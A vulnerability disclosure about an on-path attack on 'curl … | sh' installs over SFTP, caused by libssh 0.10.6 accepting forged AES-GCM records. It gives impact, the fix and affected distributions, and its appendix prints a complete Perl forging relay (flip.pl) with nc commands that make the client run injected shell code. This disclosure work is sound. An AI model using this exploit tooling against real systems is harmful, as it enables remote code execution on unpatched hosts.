cybernuke / findings / HEADWATERS
Shell runs script rewritten in flight
curl fetches script — attacker rewrites — shell runs.
Discovered 10 May 2026 · pdf
curl installs software; server fetch, pipe into shell, execute:
# curl | sh install: fetch a script over SSH, run it dev@laptop:~$ curl sftp://get.acme.example/install.sh | sh # on-path attacker rewrote the reply acme-cli: installing into ~/.local the forged script slipped this in — a command you never asked for, run as you acme-cli: done.
Put a tap on the wire. Integrity check ensuring non-malleability is broken. Whoever sits on the path rewrites the reply. Request an installer; get owned. No corruption alarm, everything looks legit. Shell reads and executes.
Not the script on the server — the script on the wire. #curl-pipe-lie
The receiver does the most dangerous thing there is to do with forged bytes: execute. An integrity bug in a small, unglamorous library was, for its whole life, enough to run a shell's worth of whatever the attacker wants:
CI / container build: headless pipeline, runner holding signing keys and secrets the build feeds — poison what the pipeline ships.
Developer laptop: the canonical curl … | sh for a language toolchain, container runtime, or AI agent installation, run once and trusted, hands an on-path attacker the developer's device.
Fleet bootstrap: provisioning step that curls an installer onto every new host backdoors each, and the script on the server checksums clean.
The thread is the same: something fetches a script over a channel it trusts, and whoever holds the wire decides what runs.
The fault is not curl's. One layer beneath sits libssh, and beneath that a broken seal: a flipped predicate skips inspection, so a rewritten record reads as authentic. Cybernuke spotted it and wrote the one-line fix, which shipped in 0.11.5 and 0.12.1 — the distributions (including Ubuntu 24.04 LTS and Linux Mint 22) that build curl against libssh inherit both the bug and, when they rebuild, the fix. The underlying vulnerability →
Discovered 2026-05-10. Target: curl's sftp and scp backends on distributions that link libssh. Prior art: the underlying primitive — WAVED / CVE-2026-59847, the libssh AES-GCM integrity break, fixed in libssh 0.11.5 and 0.12.1. CWE-354 · CVSS 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
Detected & exploited by cybernuke — cybernuke.bensmyth.com.
Appendix: run it for yourself
Stock Ubuntu 24.04 curl, the same curl sftp://…/install.sh | sh, four ways — the only thing that changes between the attack and the negative control is the one-line libssh predicate — the GCM tag check in evp_cipher_aead_decrypt, as Ubuntu 24.04 ships it against the fix:
# libssh 0.10.6 evp_cipher_aead_decrypt() (libcrypto.c) - AES-GCM tag check:
rc = EVP_DecryptFinal(cipher->ctx, NULL, &outlen);
if (rc < 0) { ...; return SSH_ERROR; } // 24.04: bad tag returns 0, which
// is not < 0 -> record ACCEPTED
if (rc != 1 || outlen != 0) { ... } // the fix (libssh 0.11.5 / 0.12.1)
# and in the shipped .so (objdump, at the EVP_DecryptFinal call site):
vuln (stock) : test %eax,%eax // branches on < 0
patched (control): cmp $0x1,%eax // branches on != 1
The four runs, one discriminator:
# curl sftp://get.acme.example/install.sh | sh — four ways, stock 24.04
# 1. no attacker on the path:
acme-cli: installing into /usr/local
acme-cli: done.
-> /tmp/pwned: absent
# 2. on-path forge, VULNERABLE libssh 0.10.6: the shell runs the attacker line
acme-cli: installing into /usr/local
uid=0(root) gid=0(root) groups=0(root)
acme-cli: done.
-> /tmp/pwned: *** present — code executed on the client ***
# 3. same forge, PATCHED libssh: the tampered record is rejected
-> /tmp/pwned: absent — fails closed
# 4. PATCHED libssh, no forge: the real installer runs normally
acme-cli: installing into /usr/local
acme-cli: done.
-> /tmp/pwned: absent
The vector needs curl's SSH backend to be libssh (not libssh2) and that libssh to carry the bug. Checked directly against stock images:
$ curl --version | grep -o 'libssh[2]*/[0-9.]*' # curl's SSH backend
$ ldd $(command -v curl) | grep libssh
Ubuntu 24.04 LTS libssh 0.10.6 VULNERABLE (unpatched; window open)
Linux Mint 22 libssh 0.10.6 VULNERABLE (24.04 base, same pkg)
Fedora 44 libssh 0.12.2 patched (> 0.12.1 fix; real)
Ubuntu 25.10/26.04 libssh2 unaffected (reverted after 24.04)
Debian 13 libssh2 unaffected
RHEL 9 / 10 no sftp backend unaffected
# on the box under test (stock Ubuntu 24.04):
curl 8.5.0 libssh/0.10.6 -> /lib/x86_64-linux-gnu/libssh.so.4
The attacker is the shared WAVED-family forge, flip.pl — generalised in MIRAGE and recycled here byte-for-byte — a keyless filter in an on-path nc relay. It rewrites a single server→client record — the SFTP DATA reply carrying the installer — overwriting the real bytes with the attacker's, and lets the now-stale GCM tag ride through, because the flipped predicate never inspects it:
#!/usr/bin/env perl
# Shared on-path attacker for the WAVED-downstream findings: a filter in an nc
# relay that holds no key. AES-GCM is counter mode, so exclusive-or-ing the
# difference of two known strings into the ciphertext puts the second into the
# plaintext, under a tag that no longer matches. It picks a record out by size
# and rewrites the payload in place, decrypting nothing.
#
# A generalised branch of WAVED's own attacker (which is unchanged, and forges
# the client's exec command). Place this in the stream to rewrite: the app-layer
# findings filter the server's replies. With no extra arguments it matches the
# original -- the command's length gives the record size, offset 19, the first
# such record. The downstream cases pass the three things that differ:
# flip.pl KNOWN CHOSEN [SIZE [OFF [INDEX]]] HEX=1 -> KNOWN/CHOSEN are hex
# DEBUG=1 -> list record sizes
# KNOWN and CHOSEN must be equal length; SIZE picks the record, OFF is the byte
# offset of the payload in the body, INDEX is which record of SIZE to take.
$| = 1; binmode STDIN; binmode STDOUT;
my ($KNOWN, $CHOSEN, $SIZE, $OFF, $INDEX) = @ARGV;
if ($ENV{HEX}) { $_ = pack "H*", $_ for $KNOWN, $CHOSEN }
die "attacker: the two payloads differ in length\n"
if length($KNOWN) != length($CHOSEN);
my $DELTA = $KNOWN ^ $CHOSEN;
my $ext = defined $SIZE; # downstream (explicit) vs WAVED default
$OFF //= 19;
$INDEX //= 0;
$SIZE //= 16 * int((19 + length($KNOWN) + 4 + 15) / 16);
my $DEBUG = $ENV{DEBUG} // 0;
# read(2) may return short; loop, or a truncated record desyncs the relay.
sub rd {
my ($n, $b, $g) = (shift, '', 0);
while ($g < $n) {
my $r = read STDIN, my $c, $n - $g;
return undef if !defined $r || $r == 0;
$b .= $c; $g += $r;
}
return $b;
}
print scalar <STDIN>; # the plaintext version line, unchanged
my ($enc, $count, $done) = (0, 0, 0);
while (defined(my $len = rd(4))) {
my $n = unpack "N", $len;
my $body = rd($n + ($enc ? 16 : 0));
last if !defined $body;
if (!$enc) {
$enc = substr($body, 1, 1) eq "\x15"; # SSH_MSG_NEWKEYS
} else {
warn "record: n=$n\n" if $DEBUG;
if ($n == $SIZE && length($DELTA)) {
if ($count == $INDEX && !$done) {
$done = 1;
substr($body, $OFF, length $DELTA) ^= $DELTA;
warn $ext ? "attacker: rewrote the $n-byte record at offset $OFF\n"
: "attacker: rewrote the command in the $n-byte record\n";
}
$count++;
}
}
print $len, $body;
}
warn "attacker: $count record(s) of $SIZE bytes seen\n";
AES-GCM encrypts under CTR, so that XOR substitutes chosen for known byte-for-byte in what curl decrypts — which only bites where known is the installer's true bytes. A curl … | sh fetches a published script, so it is. Read line 6 straight from the installer; chosen is touch /tmp/pwned; id padded to the same length and commented:
$ sed -n 6p install.sh # line 6 of the PUBLIC installer = KNOWN
# audited: this installer unpacks a signed tarball, nothing else
$ CHOSEN='touch /tmp/pwned; id #' # padded to KNOWN's length, commented
The whole run — serve the installer, drop the relay onto the path aimed at that one record (n=304, offset 204), and fetch-and-run:
$ sshd -f sshd.conf # stock aes-gcm sshd serving install.sh
$ mkfifo back ; nc -l 4088 <back | nc -N 127.0.0.1 4022 \
| HEX=1 perl flip.pl $(cat known.hex) $(cat chosen.hex) 304 204 0 >back &
$ curl -sS sftp://127.0.0.1:4088/…/install.sh --key id --pubkey id.pub | sh